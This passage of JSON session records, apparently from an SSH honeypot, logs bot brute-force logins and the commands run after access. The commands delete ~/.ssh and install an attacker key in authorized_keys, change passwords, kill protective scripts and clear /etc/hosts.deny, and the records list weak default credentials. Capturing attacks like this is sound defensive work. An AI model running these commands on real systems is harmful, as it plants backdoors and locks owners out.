WHAT"},{"seq":19,"at":"2026-08-27T14:02:31.323176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:02:32.922528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:02:33.250035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:02:35.434830+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:02:36.693205+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:02:37.579500+00:00","kind":"output","latency_ms":null,"data":"top - 14:02:37 up 7 days, 10:52, 0 user, load average: 0.17, 0.2, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:02:38.034620+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:02:38.856178+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:02:39.183859+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:02:40.209997+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:02:40.797732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:02:41.755758+00:00","kind":"output","latency_ms":null,"data":"it"},{"seq":31,"at":"2026-08-27T14:02:42.084767+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:02:44.215959+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:02:44.547773+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:02:45.757306+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"it","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"3c9bcb56-c7c4-4786-956e-6e92475e8e05","name":"gallant-vaulted-civet","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":50144,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:02:16.661533+00:00","ended_at":"2026-08-27T14:02:18.500506+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"it","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ee7ef333-fa79-4f86-bdaf-52e72a0f74ca","name":"sooty-crystal-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":47998,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:02:14.109436+00:00","ended_at":"2026-08-27T14:02:15.937783+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"db998d05-b649-442a-afe5-6fae9b692980","name":"dewy-amber-condor","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54580,"username":"zjsf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":336,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:07.505547+00:00","ended_at":"2026-08-27T14:01:08.951013+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2137,"events":[{"seq":1,"at":"2026-08-27T14:00:38.715307+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:00:39.059987+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:00:42.628103+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:00:44.113605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:00:44.447162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zjsf\\nz21eAxaamxar\\nz21eAxaamxar\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:00:44.881359+00:00","kind":"input","latency_ms":null,"data":"echo \"zjsf\\nz21eAxaamxar\\nz21eAxaamxar\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:00:45.219074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:00:45.702047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:00:45.825420+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:00:46.797723+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:00:47.129797+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:00:48.798824+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:00:49.357308+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:00:50.723505+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:00:51.063092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:00:52.315575+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:00:53.054076+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:00:54.507747+00:00","kind":"output","latency_ms":null,"data":" 14:00:54 up 7 days, 10:51, 0 user, load average: 0.11, 0.14, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:00:54.843527+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:00:56.367432+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:00:56.799210+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:00:57.661842+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:00:57.993896+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:00:59.618263+00:00","kind":"output","latency_ms":null,"data":"top - 14:00:59 up 7 days, 10:51, 0 user, load average: 0.11, 0.14, 0.08\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:00:59.952728+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:01:01.057408+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:01:01.392669+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:01:02.524302+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:01:02.993887+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:01:04.945216+00:00","kind":"output","latency_ms":null,"data":"zjsf"},{"seq":31,"at":"2026-08-27T14:01:05.576927+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:01:07.171688+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:01:07.506257+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:01:08.848453+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zjsf","password":"zjsf","method":"password","accepted":true,"tier":"other"}]} {"id":"27efbe08-c462-442a-a2ba-f37c77db7e22","name":"meadow-canny-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":57834,"username":"zjsf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:00:41.667661+00:00","ended_at":"2026-08-27T14:00:42.527235+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"zjsf","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"454ec9eb-d30e-46ec-a9ff-a23a131eab91","name":"painted-granite-manatee","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":56374,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:00:39.885497+00:00","ended_at":"2026-08-27T14:00:40.969663+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"02d94f97-51a7-477a-b442-27cb5437ccb7","name":"mossy-electric-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:37.357704+00:00","ended_at":"2026-08-27T13:59:39.371099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:59:04.686097+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:05.037296+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:09.436226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:10.964196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:11.305944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DIWw5i9SWSrO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:59:12.055565+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:59:12.163166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:12.395898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:14.563226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:59:15.011706+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:59:15.945948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:59:16.800087+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:59:18.554186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:59:19.948907+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:59:21.478636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:59:21.823337+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:59:23.465019+00:00","kind":"output","latency_ms":null,"data":" 13:59:23 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:59:23.935077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:59:25.887870+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:59:26.234554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:59:27.938622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:59:28.279671+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:59:29.159197+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:29 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:59:29.499584+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:59:31.202642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:59:31.544259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:59:32.586833+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:59:33.027279+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:59:34.941501+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:59:35.279877+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:59:36.963324+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:59:37.358406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:59:39.269084+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"redhat","method":"password","accepted":true,"tier":"other"}]} {"id":"8609fc80-6fe9-4fcd-bb46-ca684940b0ab","name":"thrifty-granite-harrier","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":41808,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:59:08.383265+00:00","ended_at":"2026-08-27T13:59:09.330568+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"12dc0a10-46ff-4925-b48a-86be989ea5ae","name":"noble-subtle-badger","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":39872,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:59:05.956026+00:00","ended_at":"2026-08-27T13:59:07.727943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"92f79bfd-6af6-423b-ae4a-edc12c4026b0","name":"barren-salty-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":49358,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":376,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:58:11.390937+00:00","ended_at":"2026-08-27T13:58:13.191461+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2121,"events":[{"seq":1,"at":"2026-08-27T13:57:37.301018+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:57:37.690938+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:57:43.208076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:57:44.473860+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:57:44.849868+00:00","kind":"input","latency_ms":null,"data":"echo -e \"system\\neL7OMDHMfYKP\\neL7OMDHMfYKP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:57:45.226953+00:00","kind":"input","latency_ms":null,"data":"echo \"system\\neL7OMDHMfYKP\\neL7OMDHMfYKP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:57:45.743054+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:57:46.462357+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:57:46.482940+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:57:46.650148+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:57:47.025145+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:57:49.203832+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:57:49.784393+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:57:51.030603+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:57:51.416080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:57:53.266943+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:57:53.636169+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:57:55.739235+00:00","kind":"output","latency_ms":null,"data":" 13:57:55 up 7 days, 10:48, 0 user, load average: 0.11, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:57:56.126284+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:57:57.418025+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:57:57.793781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:57:59.867512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:58:00.388543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:58:02.221515+00:00","kind":"output","latency_ms":null,"data":"top - 13:58:02 up 7 days, 10:48, 0 user, load average: 0.11, 0.09, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:58:02.672129+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:58:03.663121+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:58:04.678174+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:58:06.316313+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:58:06.691738+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:58:08.520073+00:00","kind":"output","latency_ms":null,"data":"oracle"},{"seq":31,"at":"2026-08-27T13:58:08.895043+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:58:11.014874+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:58:11.391687+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:58:13.076265+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"oracle","password":"system","method":"password","accepted":true,"tier":"other"}]} {"id":"bfa3910a-3236-4650-a43e-6ccab7ac1232","name":"lawful-golden-vicuna","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":53446,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:57:41.380643+00:00","ended_at":"2026-08-27T13:57:42.939001+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"oracle","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0b779c4b-54b8-4876-b259-593f6e87d486","name":"genial-clever-chough","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":50894,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:57:38.926539+00:00","ended_at":"2026-08-27T13:57:40.719410+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8cb3b0fa-51f7-4c83-b350-c42fa84f4ada","name":"alpine-weathered-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":36360,"username":"myuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":364,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:43.301357+00:00","ended_at":"2026-08-27T13:56:44.588020+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2098,"events":[{"seq":1,"at":"2026-08-27T13:56:09.099408+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:56:09.462494+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 